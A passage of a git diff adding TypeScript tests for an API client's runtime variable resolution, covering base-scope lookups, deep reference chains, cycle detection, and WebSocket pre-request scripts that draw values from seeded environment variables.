+      info: { name: 'Runtime variable security' },
+      request: {},
+      config: { environments: [] },
+    },
+  } as MissioCollection;
+}
+
+function makeResponse(): HttpResponse {
+  return {
+    status: 200,
+    statusText: 'OK',
+    headers: {},
+    body: '{}',
+    duration: 1,
+    size: 2,
+  };
+}
+
+describe('runtime script variable security', () => {
+  it('resolves same-name request variables from their base scope', async () => {
+    const runtime = new RuntimeExecutionService(async () => new Map([['owner', 'base']]));
+    const request: HttpRequest = {
+      http: { method: 'GET', url: 'https://example.com/{{owner}}' },
+      runtime: { variables: [{ name: 'owner', value: '{{owner}}-request' }] },
+    };
+
+    const variables = await runtime.buildRequestVariableOverrides(request, makeCollection());
+
+    expect(variables?.get('owner')).toBe('base-request');
+  });
+
+  it('resolves acyclic request-variable chains deeper than ten references', async () => {
+    const runtime = new RuntimeExecutionService();
+    const request: HttpRequest = {
+      http: { method: 'GET', url: 'https://example.com/{{value0}}' },
+      runtime: {
+        variables: Array.from({ length: 12 }, (_, index) => ({
+          name: `value${index}`,
+          value: index === 11 ? 'resolved' : `{{value${index + 1}}}`,
+        })),
+      },
+    };
+
+    const variables = await runtime.buildRequestVariableOverrides(request, makeCollection());
+
+    expect(variables?.get('value0')).toBe('resolved');
+  });
+
+  it('reports cyclic request-variable references instead of leaving partial values', async () => {
+    const runtime = new RuntimeExecutionService();
+    const request: HttpRequest = {
+      http: { method: 'GET', url: 'https://example.com' },
+      runtime: {
+        variables: [
+          { name: 'first', value: '{{second}}' },
+          { name: 'second', value: '{{first}}' },
+        ],
+      },
+    };
+
+    await expect(runtime.buildRequestVariableOverrides(request, makeCollection()))
+      .rejects.toThrow('Cyclic runtime variable reference: first, second');
+  });
+
+  it('uses the same base-aware request-variable scope for dry-run and send', async () => {
+    let dryRunVariables: Map<string, string> | undefined;
+    let sendVariables: Map<string, string> | undefined;
+    const httpClient = {
+      buildResolvedRequest: async (
+        _request: HttpRequest,
+        _collection: MissioCollection,
+        _folderDefaults: unknown,
+        variables?: Map<string, string>,
+      ) => {
+        dryRunVariables = variables;
+        return { method: 'GET', url: 'https://example.com', headers: {} };
+      },
+      send: async (
+        _request: HttpRequest,
+        _collection: MissioCollection,
+        _folderDefaults: unknown,
+        _onProgress: unknown,
+        variables?: Map<string, string>,
+      ) => {
+        sendVariables = variables;
+        return makeResponse();
+      },
+    } as any;
+    const runtime = new RuntimeExecutionService(async () => new Map([['owner', 'base']]));
+    const execution = new RequestExecutionService(httpClient, undefined, undefined, runtime);
+    const request: HttpRequest = {
+      http: { method: 'GET', url: 'https://example.com/{{owner}}' },
+      runtime: { variables: [{ name: 'owner', value: '{{owner}}-request' }] },
+    };
+
+    await execution.buildResolvedRequest(request, makeCollection());
+    await execution.send(request, makeCollection());
+
+    expect(dryRunVariables?.get('owner')).toBe('base-request');
+    expect(sendVariables?.get('owner')).toBe('base-request');
+  });
+});
diff --git a/test/webSocketSupport.test.ts b/test/webSocketSupport.test.ts
index 804d251..ac9f77e 100644
--- a/test/webSocketSupport.test.ts
+++ b/test/webSocketSupport.test.ts
@@ -391,6 +391,9 @@ describe('WebSocket execution lifecycle', () => {
       wsBaseUrl: fixture.baseUrl,
       tenant: 'nz',
       token: 'token-abc',
+      runtimeCountSeed: '7',
+      runtimeHeaderSeed: 'scripted',
+      runtimeUserSeed: 'Ada Runtime',
     });
     const client = new WebSocketClient(envService);
     const runtime = new RuntimeExecutionService((collection, folderDefaults, environmentName) =>
@@ -410,14 +413,21 @@ describe('WebSocket execution lifecycle', () => {
       },
       runtime: {
         auth: { type: 'bearer', token: '{{token}}' },
-        variables: [{ name: 'runtimeCount', value: '7' }],
+        variables: [
+          { name: 'runtimeCount', value: '{{runtimeCountSeed}}' },
+          { name: 'runtimeHeader', value: '{{runtimeHeaderSeed}}' },
+          { name: 'runtimeUserName', value: '{{runtimeUserSeed}}' },
+        ],
         scripts: [
+          {
+            type: 'before-request',
+            code: 'missio.variables.set("runtimeUser", missio.variables.get("runtimeUserName"));',
+          },
           {
             type: 'before-request',
             code: [
-              'missio.variables.set("runtimeUser", "Ada Runtime");',
               'missio.request.headers.set("X-Demo-Client", "missio-demo");',
-              'missio.request.headers.set("X-Runtime-Header", "scripted");',
+              'missio.request.headers.set("X-Runtime-Header", missio.variables.get("runtimeHeader"));',
               'missio.request.body = { user: missio.variables.get("runtimeUser"), count: Number(missio.variables.get("runtimeCount")) };',
             ].join('\n'),
           },
@@ -1168,6 +1178,9 @@ describe('WebSocket demo fixtures', () => {
     const envService = makeEnvService({
       wsBaseUrl: fixture.baseUrl,
       demoToken: 'token-abc',
+      socketUser: 'Ada',
+      socketMessageId: 'ws-demo-001',
+      runtimeSocketCountSeed: '7',
       tenant: 'nz',
     });
     const request = parseYaml(fs.readFileSync(path.join(demoRoot, 'WebSocket', 'runtime-lifecycle.yml'), 'utf-8')) as WebSocketRequest;